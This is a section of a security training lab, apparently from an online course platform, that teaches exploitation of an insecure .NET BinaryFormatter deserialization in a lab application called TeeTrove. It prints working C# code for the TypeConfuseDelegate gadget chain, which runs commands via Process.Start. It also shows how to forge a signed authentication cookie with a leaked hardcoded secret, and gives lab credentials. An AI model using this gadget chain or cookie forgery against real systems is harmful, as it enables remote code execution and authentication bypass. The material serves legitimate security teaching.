Advanced Deserialization Attacks  

Example 3: Binary

Discovering the Vulnerability

Let's look at one final deserialization vulnerability in TeeTrove. This time we will shift our focus to the authentication mechanism, which seems to use (de)serialization.

image

In the code snippet above, we can see that BinaryFormatter is used to deserialize the first part of authCookie, which is a value stored in the TTAUTH cookie.

image

A quick Google search for "BinaryFormatter" will return plenty of sources confirming it is insecure, in fact, the Microsoft documentation even contains a warning informing developers of this.

image

Developing the Exploit

So we know that the use of BinaryFormatter to deserialize user input is insecure. With this in mind, let's create a new project in Visual Studio and get to work developing an exploit that will work against it.

image

Unfortunately, our ObjectDataProvider gadget will not work this time. We can attempt to copy the gadget code and add the following lines to serialize the object and output the results as a base64-encoded string:

MemoryStream ms = new MemoryStream();
BinaryFormatter bf = new BinaryFormatter();
bf.Serialize(ms, odp);
Console.WriteLine(Convert.ToBase64String(ms.ToArray()));

However, running this code will result in an exception being thrown because ObjectDataProvider is not marked as a serializable class.

image

Instead of tackling the exception, let's just put the TypeConfuseDelegate gadget we discussed in the previous section to use!

// TypeConfuseDelegate gadget
Delegate stringCompare = new Comparison<string>(string.Compare);
Comparison<string> multicastDelegate = (Comparison<string>)MulticastDelegate.Combine(stringCompare, stringCompare);
IComparer<string> comparisonComparer = Comparer<string>.Create(multicastDelegate);

FieldInfo fi = typeof(MulticastDelegate).GetField("_invocationList", BindingFlags.NonPublic | BindingFlags.Instance);
object[] invoke_list = multicastDelegate.GetInvocationList();
invoke_list[1] = new Func<string, string, Process>(Process.Start);
fi.SetValue(multicastDelegate, invoke_list);

SortedSet<string> sortedSet = new SortedSet<string>(comparisonComparer);
sortedSet.Add("/c calc");
sortedSet.Add("C:\\Windows\\System32\\cmd.exe");

// Serialize with BinaryFormatter (to base64 string)
MemoryStream ms = new MemoryStream();
BinaryFormatter bf = new BinaryFormatter();
bf.Serialize(ms, sortedSet);
Console.WriteLine(Convert.ToBase64String(ms.ToArray()));

This time, when we run the program we see the calculator spawn and a base64-encoded string written to the console. This is the SortedSet which we serialized with BinaryFormatter.

image

Just to double-check that the payload works upon deserialization, let's comment all this code out and use the following lines to test:

string payload = "AAEAAAD/////AQAAAAAAAAAM<SNIP>";
BinaryFormatter bf = new BinaryFormatter();
bf.Deserialize(new MemoryStream(Convert.FromBase64String(payload)));

As expected, the SortedSet is deserialized, and a calculator is spawned.

image

Exploiting TeeTrove

Now that we know how to exploit BinaryFormatter, let's adapt the payload to work with TeeTrove. In this case, we can not just copy-paste the PoC and expect it to work, because the cookie that stores the serialized data is validated before any deserialization occurs.

image

So let's figure out how the cookie is validated, and what we have to do to bypass this check. Inside the decompiled code of AuthCookieUtil, we can see the implementation of the validateSignedCookie method.

image

We can see the method splits the cookie string into two strings separated by a "." character and then compares the second string to the string which is generated using the createSHA256HashB64 method with the first string as input, implemented above in the same class. The method then returns true if these two values match, and false otherwise. The createSHA256HashB64 method computes a SHA256 hash, as the name suggests. The input to the hash function is the string that was passed, in this case, the portion of the authentication cookie before the first period, as well as a secret string defined in AUTH_COOKIE_SECRET. Since we know the value of this secret string and have full control over the cookie, we can forge valid cookies with this knowledge.

So let's modify our exploit code to generate a signed cookie according to the implementation of AuthCookieUtil. We can copy-paste AUTH_COOKIE_SECRET as well as the implementation of createSHA256HashB64 to the beginning of our exploit code.

private static readonly string AUTH_COOKIE_SECRET = "916344019f88b8d93993afa72b593b9c";

private static string createSHA256HashB64(string session_b64)
{
    SHA256 s256 = SHA256.Create();
    byte[] hash = s256.ComputeHash(Encoding.ASCII.GetBytes(session_b64 + AUTH_COOKIE_SECRET));
    return Convert.ToBase64String(hash);
}

Next, let's modify the main method so that instead of base64-encoding and then printing the serialized object to the console, it passes it to createSHA256HashB64.

<SNIP>
bf.Serialize(ms, sortedSet);
String payload_b64 = Convert.ToBase64String(ms.ToArray());

// Turn payload into a signed cookie
string hash_b64 = createSHA256HashB64(payload_b64);
Console.WriteLine(payload_b64 + "." + hash_b64);

Now when we run the code, we see the calculator spawn and we see base64-encoded output, followed by a "." and more base64-encoded output which we know is the SHA256 hash.

image

Now let's try using this value with the authentication cookie in TeeTrove (TTAUTH). As usual, we will modify the payload to launch Notepad, and we can set breakpoints in dnSpy to catch any exceptions in case it goes wrong.

We can log into the application with the credentials pentest:pentest and then replace the value of the TTAUTH cookie with our payload. Inside dnSpy we should hit the breakpoint and then stepping forward we can see that validateSignedCookie returned true, meaning the application will go ahead with deserialization.

image

Once we hit continue, and the cookie is deserialized, we should see a notepad.exe process spawn as a child of w3wp.exe in Process Explorer meaning we exploited this third vulnerability successfully!

image

VPN Servers

Warning: Each time you "Switch", your connection keys are regenerated and you must re-download your VPN connection file.

All VM instances associated with the old VPN Server will be terminated when switching to a new VPN server.
Existing PwnBox instances will automatically switch to the new VPN server.

Switching VPN...

PROTOCOL

/ 1 spawns left

Waiting to start...

Questions

Answer the question(s) below to complete this Section and earn cubes!

Click here to spawn the target system!

Target: Click here to spawn the target system!

+10 Streak pts

Previous

+10 Streak pts

Next
Go to Questions
My Workstation

OFFLINE

/ 1 spawns left